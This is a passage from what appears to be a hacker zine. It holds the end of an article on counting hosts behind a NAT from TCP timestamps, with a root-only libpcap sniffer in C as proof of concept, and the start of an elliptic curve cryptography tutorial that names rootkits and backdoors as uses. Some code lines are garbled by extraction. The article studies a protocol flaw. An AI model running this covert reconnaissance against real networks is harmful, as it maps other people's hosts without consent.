First question is what is this bug? This bug belongs to the design error class. To be more precise this bug exists because protocol specification overlap. IP was designed to be a one on one protocol: one client talks to one server. NAT violates this specification by allowing multiple to one. By itself this violation has caused so many problems that I lost the count of it, but it is pretty sure that the most recurrent problem is the FTP transfer. If you use FTP you know what I mean (other can look at netfilter ftp conntrack).

‑‑‑‑[ 3.2 ‑ So were does it come from ?

FTP problem is a good example to explain the origin of the overlap specification problem. FTP was specified to work over a one to one reliable connexion (TCP in fact). NAT was designed to modify IP. So due to protocol dependency it also alter TCP and therefor FTP.

During NAT specification it was not taken into account that every protocol that relies on IP, can conflict with the modified specification. To tell the truth ,even if the people that design the NAT mechanism have ever wanted to ensure that every protocol that relies on IP can work with the NAT they couldn't make it.

Why ? because specification are RFC and RFC are in english. English is not a good way to specify things especially if you have a dependency graph for the specification.

For example many programming languages have formal specifications. Which is a more full proof way. The reason of this lack of formal specification resides on the history of Internet[9]. At this time writing a simple text was good enough. Nowadays it can be very problematic.

‑‑‑‑[ 3.3 ‑ How do you find it ?

The big question is, how do I find this bug ?. Well I found this problem by formalizing a part of the TCP RFC and confronts the result of this analysis to real execution traces. My analyzer (2) warned me about a timestamp that was less than the previous one and as you know time does not go back...

I check out why and found this problem. What's interesting here is that the start point to find the bug is the specification rather than the implementation as it usually does to find a buffer overflow for example.

‑‑‑‑[ 3.4 ‑ Back to the future

So from now on, what will happen ? Well more design errors will be found because we cannot change the past and we need to live with it. It is not reasonable to say that we can wipe off all that TCP stuff and start a new thing from scratch. Internet and network are simply too big to move just like that. Just think for one second about the IP v6 deployment and you will be convinced. All we can do is try to be as careful as possible when designing a new extension or a protocol. Trying to ensure that this new stuff does not conflicts with previous specification or breaks dependence. We can also try to formalize the protocols as much as we can to try and detect errors before they cause problems. Sadly patching is mainly our primary option for the coming years.

‑‑[ 4.0 ‑ Learning from the past aka conclusion

The past tells us that protocol is not well enough specified and leads to errors (bug, conflict...). It may be time to change our habits and try something in ad equation with our time. For example to design things with security in mind. In this article I have tried to show you that by simply understanding specification and with the help of some basic math you can:

‑ Find a flaw with a worldwide impact.

‑ Exploit this flaw in an elegant manner by the means of a simple theory. ‑ Extend fingerprint state of art.

I hope this will help to convince you that theory and formal tools are a necessary part of the computer security field. Next time I will focus on simple formal method to find bug. I hope you will be here :).

‑‑[ A Acknowledgements

First I would like to thank Romain Bottier for his help and his patience. I also want to thank Plops and Poluc for having faith in me. See guys we made it!

I also want to say that I take great care about non disclosure policy. I have informed major vendors (Kernel.org, freeBSD, OpenBSD, Cisco...) a month ago. As I said I did not get any feedback so I assume they do not care.

References

*=*=*=*=*=

[1] AT&T Steven M. Bellovin. A Technique for Counting NATted Hosts http://www.research.att.com/~smb/papers/fnat.pdf

[2] Jacobson, Braden, & Borman. RFC 1323 :TCP Extensions for High Performance .

[3] K. Egevang, Cray Communications, P. Francis. RFC 1631 : The IP Network Address Translator (NAT).

[4] Bret McDanel. TCP Timestamping ‑ Obtaining System Uptime Remotely originally posted to Bugtraq Security Mailing List on March 11, 2001. [5] Michal Zalewski. p0f 2:Dr. Jekyll had something to Hyde. [6] Fyodor. Nmap ‑ Free Security Scanner For Network Exploration & Security Audits.

[7] Antirez. dumbscan original BUGTRAQ posting (18 Dec 1998) [8] Microsoft. TCP timestamp in windows : KB224829.

[9] Hafner, Katie, Matthew Lyon. Where Wizards Stay Up Late: The Origins of the Internet.

FootNotes

*=*=*=*=*=

(1) Microsoft point of view is that NAT is not a security mechanism so they do not want to patch.

(2) If you are interested about my analyzer. I hope to publish soon a theoric paper on how it works. I also hope to release one day a version of it. To the question did I find other interesting things, the answer is: maybe I need to check out more deeply.

‑‑[ B ‑ Proof of concept

/*

* Proof Of Concept : counting host behind a NAT using timestamp * To compile this file, you will need the libpcap

* Copyright Elie Bursztein (lupin@zonart.net)

* Successfully compiled on FreeBSD 5.X and Linux 2.6.X

*

* $gcc natcount.c ‑o natcount ‑I/usr/local/include ‑L/usr/local/lib * ‑lpcap

*/

#define __USE_BSD 1

#include <sys/time.h>

#include <time.h>

#include <netinet/in.h>

#include <net/ethernet.h>

#ifdef __FreeBSD__

# include <netinet/in_systm.h>

#endif /* __FreeBSD__ */

#ifdef __linux__

# include <linux/if_ether.h>

#endif /* __linux__ */

#include <netinet/ip.h>

#include <stdlib.h>

#include <string.h>

#include <pcap.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <net/if.h>

#include <netinet/tcp.h>

#include <netinet/udp.h>

#ifdef __linux__

# define th_off doff

#endif /* __linux__ */

u_int32_t addr = 0;

/* chain lists structures */

typedef struct listes_s {

struct listes_s *next;

void *elt;

} listes_t;

/* Structures for TCP options */

typedef struct { u_int32_t ts, ts_r; } timestamp_t;

typedef struct { timestamp_t *ts; } tcp_opt_t;

/* Structures for datas storage */

typedef struct { u_int32_t from, first_timestamp; struct timeval first_seen; } machine_t;

typedef struct { u_int32_t host, nat; struct timeval first_seen; } nat_box_t;

#define TIMESTAMP_ERROR_MARGIN 0.5

#define DELAY 1

/*

* List functions

*/

int add_in_list(listes_t **list, void * elt) {

listes_t *lst;

lst = malloc(sizeof (listes_t));

lst‑>next = *list;

lst‑>elt = elt;

*list = lst;

return (1);

}

void show_nated(listes_t *list) {

nat_box_t *nat;

struct in_addr addr;

printf("‑‑ Begin of nated IP list ‑‑\n");

while (list)

{

nat = (nat_box_t *) list‑>elt;

if (nat‑>nat > 1) {

addr.s_addr = nat‑>host;

printf("I've guess %i computers sharing the same IP address (%s)\n", nat‑>nat, inet_ntoa(addr));

}

list = list‑>next;

}

printf("‑‑ End of nated IP list ‑‑\n");

}

/*

* Function used to get all TCP options

* Simple TCP options parser

*/

int tcp_option_parser(const u_char *options,

tcp_opt_t *parsed,

unsigned int size) {

u_int8_t kind, len, i;

bzero(parsed, sizeof(tcp_opt_t));

i = 0;

kind = *(options + i);

while (kind != 0) /* EO */

{

switch (kind) {

case 1: i++; break; /* NOP byte */

case 2: i += 4; break;

case 3: i += 3; break;

case 4: i += 2; break;

case 5: /* skipping SACK options */

len = (*options + ++i) ‑ 1;

i += len;

break;

case 6: i += 6; break;

case 7: i += 6; break;

case 8:

i += 2;

parsed‑>ts = (timestamp_t *) (options + i);

i += 8;

return (1);

break;

default:

i++;

}

kind = *(options + i);

}

return (0);

}

/*

* Most interesting function ... Here we can know if a TCP packet is * coming from someone we already know !

* Algo :

* finc (seconds) = current_packet_time ‑ first_packet_time <‑ time * between 2 packets

* ts_inc = inc_table[i] * finc <‑ our supposed timestamp increment * between 2 packets

* new_ts = first_timestamp + ts_inc <‑ new = timestamp we should have * now !

*

* Now we just have to compare new_ts with current timestamp * We can authorize an error margin of 0.5%

*

* Our inc_table contain timestamp increment per second for most * Operating System

*/

int already_seen(machine_t *mach, tcp_opt_t *opt, struct timeval temps)

{

int inc_table[4] = {2, 10, 100, 1000}; unsigned int new_ts;

float finc, tmp, ts_inc;

int i, diff;

finc = ((temps.tv_sec ‑ mach‑>first_seen.tv_sec) * 1000000. + (temps.tv_usec ‑ mach‑>first_seen.tv_usec)) / 1000000.; for (i = 0; i < 4; i++) {

ts_inc = inc_table[i] * finc;

new_ts = ts_inc + mach‑>first_timestamp;

diff = ntohl(opt‑>ts‑>ts) ‑ new_ts;

if (diff == 0) { /* Perfect shoot ! */

return (2);

}

tmp = 100. ‑ (new_ts * 100. / ntohl(opt‑>ts‑>ts));

if (tmp < 0.)

tmp *= ‑1.;

if (tmp <= TIMESTAMP_ERROR_MARGIN) { /* Update timestamp and time */

mach‑>first_seen = temps;

mach‑>first_timestamp = ntohl(opt‑>ts‑>ts);

return (1);

}

}

return (0);

}

/*

* Simple function to check if an IP address is already in our list * If not, it's only a new connection

*/

int is_in_list(listes_t *lst, u_int32_t addr) { machine_t *mach;

while (lst) {

mach = (machine_t *) lst‑>elt;

if (mach‑>from == addr)

return (1);

lst = lst‑>next;

}

return (0);

}

/*

* This function should be call if a packet from an IP address have been * found,

* is address is already in the list, but doesn't match any timestamp * value

*/

int update_nat(listes_t *list, u_int32_t addr)

{

nat_box_t *box;

while (list)

{

box = (nat_box_t *) list‑>elt;

if (box‑>host == addr)

{

box‑>nat++;

return (1);

}

list = list‑>next;

}

return (0);

}

int check_host(listes_t **list, listes_t **nat, u_int32_t from,

tcp_opt_t *opt, struct timeval temps) { listes_t *lst;

machine_t *mach;

int found, zaped;

found = zaped = 0;

lst = *list;

while (lst && !(found)) {

mach = (machine_t *) lst‑>elt;

if (mach‑>from == from) {

if ( temps.tv_sec ‑ mach‑>first_seen.tv_sec > DELAY ) { found = already_seen(mach, opt, temps);

} else zaped = 1;

}

lst = lst‑>next;

}

if (!(zaped) && !(found)) {

mach = malloc(sizeof (machine_t));

mach‑>from = from;

mach‑>first_seen = temps;

mach‑>first_timestamp = ntohl(opt‑>ts‑>ts); add_in_list(list, mach);

update_nat(*nat, from);

show_nated(*nat);

return (1);

}

return (0);

}

void callback_sniffer(u_char *useless,

const struct pcap_pkthdr* pkthdr,

const u_char *packet)

{

static listes_t *list_machines = 0;

static listes_t *list_nat = 0;

const struct ip *ip_h;

const struct tcphdr *tcp_h;

tcp_opt_t tcp_opt;

machine_t *mach;

nat_box_t *nat;

struct in_addr my_addr;

ip_h = (struct ip *) (packet + sizeof(struct ether_header)); if (ip_h‑>ip_p == IPPROTO_TCP)

{

tcp_h = (struct tcphdr *) (packet + sizeof(struct ether_header) + sizeof(struct ip));

if (tcp_h‑>th_off * 4 > 20) {

if (tcp_option_parser((u_char *) (packet + sizeof(struct ether_header)

sizeof(struct ip) +

sizeof(struct tcphdr)),

&tcp_opt, tcp_h‑>th_off * 4 ‑ 20))

{

if (is_in_list(list_machines, (ip_h‑>ip_src).s_addr)) { check_host(&list_machines, &list_nat, (u_int32_t) (ip_h‑>ip_src).s_addr, &tcp_opt, pkthdr‑>ts);

} else {

if (ntohl(tcp_opt.ts‑>ts) != 0)

{

addr = (ip_h‑>ip_src).s_addr;

my_addr.s_addr = addr;

mach = malloc(sizeof (machine_t));

mach‑>from = (ip_h‑>ip_src).s_addr;

mach‑>first_seen = pkthdr‑>ts;

mach‑>first_timestamp = ntohl(tcp_opt.ts‑>ts);

nat = malloc(sizeof (nat_box_t));

nat‑>host = (u_int32_t) (ip_h‑>ip_src).s_addr;

nat‑>nat = 1;

nat‑>first_seen = mach‑>first_seen;

add_in_list(&list_machines, mach);

add_in_list(&list_nat, nat);

}

}

}

}

}

}

int main(int ac, char *argv[])

{

pcap_t *sniff;

char errbuf[PCAP_ERRBUF_SIZE];

struct bpf_program fp;

char *device;

bpf_u_int32 maskp, netp;

struct in_addr my_ip_addr;

char filter[250];

if (getuid() != 0) {

printf("You must be root to use this tool.\n");

exit (2);

}

if (‑‑ac != 1)

{

printf("Usage: ./natcount xl0\n");

return (1);

}

device = (++argv)[0];

pcap_lookupnet(device, &netp, &maskp, errbuf); my_ip_addr.s_addr = (u_int32_t) netp;

printf("Using interface %s IP : %s\n", device, inet_ntoa(my_ip_addr)); if ((sniff = pcap_open_live(device, BUFSIZ, 1, 1000, errbuf)) == NULL) {

printf("ERR: %s\n", errbuf);

exit(1);

}

bzero(filter, 250);

snprintf(filter, 250, "not src net %s", inet_ntoa(my_ip_addr)); if(pcap_compile(sniff,&fp, filter, 0, netp) == ‑1) { fprintf(stderr,"Error calling pcap_compile\n"); exit(1);

}

if(pcap_setfilter(sniff,&fp) == ‑1) { fprintf(stderr,"Error setting filter\n");

exit(1);

}

pcap_loop(sniff, ‑1, callback_sniffer, NULL);

return (0);

}

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 0x03‑3 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑=[ All Hackers Need To Know About Elliptic Curve Cryptography ]=‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ f86c9203 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑‑[ Contents

0 ‑ Abstract

1 ‑ Algebraical Groups and Cryptography

2 ‑ Finite Fields, Especially Binary Ones

3 ‑ Elliptic Curves and their Group Structure

4 ‑ On the Security of Elliptic Curve Cryptography

5 ‑ The ECIES Public Key Encryption Scheme

6 ‑ The XTEA Block Cipher, CBC‑MAC and Davies‑Meyer Hashing

7 ‑ Putting Everything Together: The Source Code

8 ‑ Conclusion

9 ‑ Outlook

A ‑ Appendix: Literature

B ‑ Appendix: Code

‑‑‑[ 0 ‑ Abstract

Public key cryptography gained a lot of popularity since its invention three decades ago. Asymmetric crypto systems such as the RSA encryption scheme, the RSA signature scheme and the Diffie‑Hellman Key Exchange (DH) are well studied and play a fundamental role in modern cryptographic protocols like PGP, SSL, TLS, SSH.

The three schemes listed above work well in practice, but they still have a major drawback: the data structures are large, i.e. secure systems have to deal with up to 2048 bit long integers. These are easily handled by modern desktop computers; by contrast embedded devices, handhelds and especially smartcards reach their computing power limits quickly. As a second problem, of course, the transportation of large integers "wastes" bandwidth. In 2048 bit systems an RSA signature takes 256 bytes; that's quite a lot, especially for slow communication links.

As an alternative to RSA, DH and suchlike the so called Elliptic Curve Cryptography (ECC) was invented in the mid‑eighties. The theory behind it is very complicated and much more difficult than doing calculations on big integers. This resulted in a delayed adoption of ECC systems although their advantages over the classic cryptographic building blocks are overwhelming: key lengths and the necessary processing power are much smaller (secure systems start with 160 bit keys). Thus, whenever CPU, memory or bandwidth are premium resources, ECC is a good alternative to RSA and DH.

This article has two purposes:

1. It is an introduction to the theory of Elliptic Curve Cryptography. Both, the mathematical background and the practical implementability are covered.

2. It provides ready‑to‑use source code. The C code included and described in this article (about 500 lines in total) contains a complete secure public key crypto system (including symmetric components: a block cipher, a hash function and a MAC) and is released to the public domain.

The code doesn't link against external libraries, be they of bigint, cryptographic or other flavour; an available libc is sufficient. This satisfies the typical hacker need for compact and independent programs that have to work in "inhospitable" environments; rootkits and backdoors seem to be interesting applications.

As mentioned above the theory behind EC cryptography is rather complex. To keep this article brief and readable by J. Random Hacker only the important results are mentioned, theorems are not proven, nasty details are omitted. If on the other hand you are into maths and want to become an ECC crack I encourage to start reading [G2ECC] or [ECIC].

‑‑‑[ 1 ‑ Algebraical Groups and Cryptography

Definition. A set G together with an operation G x G ‑> G denoted by '+' is called an (abelian algebraical) group if the following axioms hold:

G1. The operation '+' is associative and commutative:

(a + b) + c = a + (b + c) for all a,b,c in G a + b = b + a for all a,b in G

G2. G contains a neutral element '0' such that

a + 0 = a = 0 + a for all a in G

G3. For each element 'a' in G there exists an "inverse element", denoted by '‑a', such that

a + (‑a) = 0.

For a group G the number of elements in G is called the group order, denoted by |G|.

Example. The sets Z, Q and R of integers, rational numbers and real numbers, respectively, form groups of infinite order in respect to their addition operation. The sets Q* and R* (Q and R without 0) also form groups in respect to multiplication (with 1 being the neutral element and 1/x the inverse of x).

Definition. Let G be a group with operation '+'. A (nonempty) subset H of G is called a subgroup of G if H is a group in respect to the same operation '+'.

Example. Z is a subgroup of Q is a subgroup of R in respect to '+'. In respect to '*' Q* is a subgroup of R*.

Theorem (Lagrange). Let G be a group of finite order and H be a subgroup of G. Then |H| properly divides |G|.

It follows that if G has prime order, G has only two subgroups, namely {0} and G itself.

We define the "scalar multiplication" of a natural number k with a group element g as follows:

k * g := g + g + ... + g + g

\____ k times ____/

Theorem. For a finite group G and an element g in G the set of all elements k * g (k natural) forms a subgroup of G. This subgroup

is named the "cyclic subgroup generated by g".

Thus a prime order group is generated by any of its nonzero elements.

We now introduce the Diffie‑Hellman Key Exchange protocol: let G be a prime order group and g a nonzero element. Let two players, called Alice and Bob respectively, do the following:

1. Alice picks a (secret) random natural number 'a', calculates P = a * g and sends P to Bob.

2. Bob picks a (secret) random natural number 'b', calculates

Q = b * g and sends Q to Alice.

3. Alice calculates S = a * Q = a * (b * g).

4. Bob calculates T = b * P = b * (a * g).

By definition of the scalar multiplication it is apparent that S = T. Therefore after step 4 Alice and Bob possess the same value S. The eavesdropper Eve, who recorded the exchanged messages P and Q, is able to calculate the same value if she manages to determine 'a' or 'b'. This problem (calculating 'a' from G, g and 'a * g') is called the group's Discrete Logarithm Problem (DLP).

In groups where DLP is too 'hard' to be practically solvable it is believed to be out of reach for eavesdroppers to determine the value S, hence Alice and Bob can securely establish a secret key which can be used to protect further communication.

If an attacker is able to intercept the transmission of P and Q and to replace both by the group's neutral element, obviously Alice and Bob are forced to obtain S = 0 = T as shared key. This has to be considered a successful break of the crypto system. Therefore both Alice and Bob have to make sure that the received elements Q and P, respectively, indeed do generate the original group.

The presented DH scheme may also serve as public key encryption scheme (called ElGamal encryption scheme): let Alice pick a random natural number 'a' as private key. The element P = a * g is the corresponding public key. If Bob wants to encrypt a message for her, he picks a random number 'b', symmetrically encrypts the message with key T = b * P and transmits the cipher text along with Q = b * g to Alice. She can reconstruct T = S via S = a * Q and then decrypt the message. Note the direct relationship between this and the DH scheme!

Conclusion: Cryptographers are always seeking for finite prime order groups with hard DLP. This is where elliptic curves come into play: they induce algebraical groups, some of them suitable for DH and ElGamal crypto systems. Moreover the elliptic curve arithmetic (addition, inversion) is implementable in a relatively efficient way.

You will find more information about groups and their properties in [Groups], [Lagrange], [CyclicGroups] and [GroupTheory]. Read more about the DLP, DH key exchange and ElGamal encryption in [DLP], [DH] and [ElGamal].

‑‑‑[ 2 ‑ Finite Fields, Especially Binary Ones

Definition. A set F together with two operations F x F ‑> F named '+' and '*' is called a field if the following axioms hold:

F1. (F, +) forms a group

F2. (F*, *) forms a group (where F* is F without the '+'‑neutral element '0')

F3. For all a,b,c in G the distributive law holds:

a * (b + c) = (a * b) + (a * c)

For 'a + (‑b)' we write shorter 'a ‑ b'. Accordingly we write 'a / b' when we multiply 'a' with the '*'‑inverse of b.

To put it clearly: a field is a structure with addition, substraction, multiplication and division that work the way you are familiar with.

Example. The sets Q and R are fields.

Theorem. For each natural m there exists a (finite) field GF(2^m) with exactly 2^m elements. Fields of this type are called binary fields.

Elements of binary fields GF(2^m) can efficiently be represented by bit vectors of length m. The single bits may be understood as coefficients of a polynomial of degree < m. To add two field elements g and h just carry out the polynomial addition g + h (this means: the addition is done element‑wise, i.e. the bit vectors are XORed together). The multiplication is a polynomial multiplication modulo a certain fixed reduction polynomial p: the elements' product is the remainder of the polynomial division (g * h) / p.

The fact that field addition just consists of a bitwise XOR already indicates that in binary fields F each element is its own additive inverse, that is: a + a = 0 for all a in F. For a,b in F as consequence 2*a*b = a*b + a*b = 0 follows, what leads to the (at the first glance surprising) equality

(a + b)^2 = a^2 + b^2 for all a,b in F.

More about finite fields and their arithmetical operations can be found in [FiniteField], [FieldTheory], [FieldTheoryGlossary] and especially [FieldArithmetic].

‑‑‑[ 3 ‑ Elliptic Curves and their Group Structure

Definition. Let F be a binary field and 'a' and 'b' elements in F. The set E(a, b) consisting of an element 'o' (the "point at infinity") plus all pairs (x, y) of elements in F that satisfy

the equation

y^2 + x*y = x^3 + a*x^2 + b

is called the set of points of the binary elliptic curve E(a, b).

Theorem. Let E = E(a, b) be the point set of a binary elliptic curve over the field F = GF(2^m). Then

1. E consists of approximately 2^m elements.

2. If (x, y) is a point on E (meaning x and y satisfy the above equation) then (x, y + x) is also a point on E.

3. If two points P = (x1, y1) and Q = (x2, y2) on E with x1 != x2 are connected by a straight line (something of the form y = m*x + b), then there is exactly one third point R = (x3, y3) on E that is also on this line. This induces a natural mapping f:(P, Q) ‑> R, sometimes called chord‑and‑tangent mapping.

Exercise. Prove the second statement.

The chord‑and‑tangent mapping 'f' is crucial for the group structure given naturally on elliptic curves:

a) The auxiliary element 'o' will serve as neutral element which may be added to any curve point without effect.

b) For each point P = (x, y) on the curve we define the point ‑P := (x, y + x) to be its inverse.

c) For two points P = (x1, y1) and Q = (x2, y2) the sum 'P + Q' is defined as ‑f(P, Q).

It can be shown that the set E together with the point addition '+' and the neutral element 'o' defacto has group structure. If the curve's coefficients 'a' and 'b' are carefully chosen, there exist points on E that generate a prime order group of points for which the DLP is hard. Based on these groups secure crypto systems can be built.

The point addition on curves over the field R can be visualized. See [EllipticCurve] for some nice images.

In ECC implementations it is essential to have routines for point addition, doubling, inversion, etc. We present pseudocode for the most important ones:

Let (x, y) be a point on the elliptic curve E(a, b). The point (x', y') := 2 * (x, y) can be computed by

l = x + (y / x)

x' = l^2 + l + a

y' = x^2 + l*x' + x'

return (x', y')

For two points P = (x1, y1), Q = (x2, y2) the sum (x3, y3) = P + Q can be computed by

l = (y2 + y1) / (x2 + x1)

x3 = l^2 + l + x1 + x2 + a

y3 = l(x1 + x3) + x3 + y1

return (x3, y3)

Some special cases where the point at infinity 'o' has to be considered have been omitted here. Have a look at [PointArith] for complete pseudocode routines. But nevertheless we see that point arithmetic is easy and straight forward to implement. A handful of field additions, multiplications plus a single division do the job.

The existence of routines that do point doubling and addition is sufficient to be able to build an efficient "scalar multiplier": a routine that multiplies a given curve point P by any given natural number k. The double‑and‑add algorithm works as follows:

H := 'o'

let n be the number of the highest set bit in k

while(n >= 0) {

H = 2 * H;

if the nth bit in k is set:

H = H + P;

n‑‑;

}

return H;

Example. Suppose you want to calculate k*P for k = 11 = 1011b. Then n is initialized to 3 and H calculated as

H = 2 * (2 * (2 * (2 * 'o' + P)) + P) + P

= 2 * (2 * (2 * P) + P) + P

= 2 * (5 * P) + P

= 11 * P

Some elliptic curves that are suitable for cryptographic purposes have been standardized. NIST recommends 15 curves (see [NIST]), among them five binary ones called B163, B233, B283, B409 and B571. The parameters of B163 are the following ([NISTParams]):

Field: GF(2^163)

Reduction poly: p(t) = t^163 + t^7 + t^6 + t^3 + 1 Coefficient a: 1

Coefficient b: 20a601907b8c953ca1481eb10512f78744a3205fd

x coordinate of g: 3f0eba16286a2d57ea0991168d4994637e8343e36

y coordinate of g: 0d51fbc6c71a0094fa2cdd545b11c5c0c797324f1 group order: 2 * 5846006549323611672814742442876390689256843201587

The field size is 2^163, the corresponding symmetric security level is about 80 bits (see chapter 4). The field elements are given in hexadecimal, the curve's order in decimal form as h * n, where h (the "cofactor") is small and n is a large prime number. The point g is chosen in a way that the subgroup generated by g has order n.

The source code included in this article works with B163. It can easily be patched to support any other binary NIST curve; for this it is sufficient to alter just 6 lines.

Exercise. Try it out: patch the sources to get a B409 crypto system. You will find the curve's parameters in [NISTParams].

Read [EllipticCurve], [PointArith] and [DoubleAndAdd] for further information.

‑‑‑[ 4 ‑ On the Security of Elliptic Curve Cryptography

We learned that the security of the DH key exchange is based on the hardness of the DLP in the underlying group. Algorithms are known that determine discrete logarithms in arbitrary groups; for this task no better time complexity bound is known than that for Pollard's "Rho Method" ([PollardRho]):

Theorem. Let G be a finite (cyclic) group. Then there exists an algorithm that solves DLP in approximately sqrt(|G|) steps (and low memory usage).

For elliptic curves no DLP solving algorithm is known that performs better than the one mentioned above. Thus it is believed that the ECCDLP is "fully exponential" with regard to the bit‑length of |G|. RSA and classical DH systems can, by contrast, be broken in "subexponential" time. Hence their key lengths must be larger than those for ECC systems to achieve the same level of security.

We already saw that elliptic curves over GF(2^m) contain about 2^m points. Therefore DLP can be solved in about sqrt(2^m) steps, that is 2^(m/2). We conclude that m‑bit ECC systems are equivalent to (m/2)‑bit symmetric ciphers in measures of security.

The following table compares equivalent key sizes for various crypto systems.

ECC key size | RSA key size | DH key size | AES key size

‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

160 | 1024 | 1024 | (80) 256 | 3072 | 3072 | 128

384 | 7680 | 7680 | 192

512 | 15360 | 15360 | 256

‑‑‑[ 5 ‑ The ECIES Public Key Encryption Scheme

Earlier we presented the DH Key Exchange and the ElGamal public key crypto system built on top of it. The Elliptic Curve Integrated Encryption Scheme (ECIES, see ANSI X9.63) is an enhancement of ElGamal encryption specifically designed for EC groups. ECIES provides measures to defeat active attacks like the one presented above.

Let E be an elliptic curve of order h * n with n a large prime number. Let G be a subgroup of E with |G| = n. Choose a point P in G unequal to 'o'.

We start with ECIES key generation:

Alice picks as private key a random number 'd' with 1 <= d < n; She distributes the point Q := d * P as public key.

If Bob wants to encrypt a message m for Alice he proceeds as follows:

1. Pick a random number 'k' with 1 <= k < n.

2. Compute Z = h * k * Q.

3. If Z = 'o' goto step 1.

4. Compute R = k * P.

5. Compute (k1, k2) = KDF(Z, R) (see below).

6. Encrypt m with key k1.

7. Calculate the MAC of the ciphertext using k2 as MAC key.

8. Transmit R, the cipher text and the MAC to Alice.

Alice decrypts the cipher text using the following algorithm:

1. Check that R is a valid point on the elliptic curve.

2. Compute Z = h * d * R.

3. Check Z != 'o'.

4. Compute (k1, k2) = KDF(Z, R) (see below).

5. Check the validity of the MAC using key k2.

6. Decrypt m using key k1.

If any of the checks fails: reject the message as forged.

KDF is a key derivation function that produces symmetric keys k1, k2 from a pair of elliptic curve points. Just think of KDF being the cryptographic hash function of your choice.

ECIES offers two important features:

1. If an attacker injects a curve point R that does not generate a large group (this is the case in the attack mentioned above), this is detected in steps 2 und 3 of the decryption process (the cofactor plays a fundamental role here).

2. The message is not only encrypted in a secure way, it is also protected from modification by a MAC.

Exercise. Implement a DH key exchange. Let E be a binary elliptic curve or order h * n. Let G be a subgroup of E with |G| = n. Choose a point g in G unequal to 'o'. Let Alice and Bob proceed as follows:

1. Alice picks a random number 'a' with 1 <= a < n and sends P = a * g to Bob.

2. Bob picks a random number 'b' with 1 <= b < n and sends Q = b * g to Alice.

3. Alice checks that Q is a point on the curve that generates a group of order n (see the ECIES_public_key_validation routine). Alice calculates S = a * Q.

4. Bob checks that P is a point on the curve that generates a group of ordern n. He calculates T = b * P.

If everything went OK the equality S = T should hold.

‑‑‑[ 6 ‑ The XTEA Block Cipher, CBC‑MAC and Davies‑Meyer Hashing

XTEA is the name of a patent‑free secure block cipher invented by Wheeler and Needham in 1997. The block size is 64 bits, keys are 128 bits long. The main benefit of XTEA over its competitors AES, Twofish, etc is the compact description of the algorithm:

void encipher(unsigned long m[], unsigned long key[])

{

unsigned long sum = 0, delta = 0x9E3779B9;

int i;

for(i = 0; i < 32; i++) {

m[0] += ((m[1] << 4 ^ m[1] >> 5) + m[1]) ^ (sum + key[sum & 3]); sum += delta;

m[1] += ((m[0] << 4 ^ m[0] >> 5) + m[0]) ^ (sum + key[sum >> 11 & 3]); }

}

Let E be a symmetric encryption function with block length n, initialized with key k. The CBC‑MAC of a message m is calculated as follows:

1. Split m in n‑bit‑long submessages m1, m2, m3, ...

2. Calculate the intermediate values t0 = E(length(m)),

t1 = E(m1 XOR t0), t2 = E(m2 XOR t1), t3 = E(m3 XOR t2), ...

3. Return the last value obtained in step 2 as MAC(k, m) and discard t0, t1, t2, ...

Next we show how a block cipher can be used to build a cryptographic hash function using the "Davies‑Meyer" construction. Let m be the message that is to be hashed. Let E(key,block) be a symmetric encryption function with block length n and key length l.

1. Split m in l‑bit‑long submessages m1, m2, m3, ...

2. Calculate the intermediate values h1 = E(m1, 0), h2 = E(m2, h1) XOR h1, h3 = E(m3, h2) XOR h2, ...

3. If h is the last intermediate value obtained in step 2 return E(length(m), h) XOR h as hash value and discard h1, h2, h3, ...

The code included in this article uses the block cipher XTEA in counter mode (CTR) for encryption, a CBC‑MAC garantees message authenticity; finally KDF (see chapter 5) is implemented using XTEA in Davies‑Meyer mode.

Read [XTEA] and [DMhashing] to learn more about the XTEA block cipher and the Davies‑Meyer construction.

‑‑‑[ 7 ‑ Putting Everything Together: The Source Code

The public domain source code you find at the end of this document implements the ECIES public key encryption system over the curve B163. The code is commented, but we outline the design here.

1. The central data structure is a bit vector of fixed but "long" length. It is the base data type used to represent field elements and suchlike. The dedicated typedef is called bitstr_t. Appropriate routines for bit manipulation, shifting, bitcounting, importing from an ASCII/HEX representation, etc do exist.

2. The functions with "field_" prefix do the field arithmetic: addition, multiplication and calculation of the multiplicative inverse of elements are the important routines.

3. ECC points are represented as pairs of elem_t (an alias for bitstr_t), the special point‑at‑infinity as the pair (0,0). The functions prefixed with "point_" act on elliptic curve points and implement basic point operations: point addition, point doubling, etc.

4. The function "point_mult" implements the double‑and‑add algorithm to compute "k * (x,y)" in the way described in chapter 3 .

5. The "XTEA"‑prefixed functions implement the XTEA block cipher, but also the CBC‑MAC and the Davies‑Meyer construction.

6. The "ECIES_"‑routines do the ECIES related work. ECIES_generate_key_pair() generates a private/public key pair, ECIES_public_key_validation() checks that a given point is on the curve and generates a group of order "n". ECIES_encryption/ECIES_decryption do what their names imply.

7. A demonstration of the main ECIES functionalities is given in the program's main() section.

The code may be compiled like this:

gcc ‑O2 ‑o ecc ecc.c

‑‑‑[ 8 ‑ Conclusion

We have seen how crypto systems are built upon algebraical groups that have certain properties. We further gave an introduction into a special class of appropriate groups and their theory, namely to the binary elliptic curves. Finally we presented the secure public key encryption scheme ECIES (together with necessary symmetrical components). All this is implemented in the source code included in this article.

We recall that besides security the central design goal of the code was compactness, not speed or generality. Libraries specialized on EC cryptography benefit from assembler hand‑coded field arithmetic routines and easily perform a hundred times faster than this code.

If compactness is not essential for your application you might opt for linking against one of the following ECC capable free crypto libraries instead:

Crypto++ (C++) http://www.eskimo.com/~weidai/cryptlib.html

Mecca (C) http://point‑at‑infinity.org/mecca/

LibTomCrypt (C) http://libtomcrypt.org/

borZoi (C++/Java) http://dragongate‑technologies.com/products.html

‑‑‑[ 9 ‑ Outlook

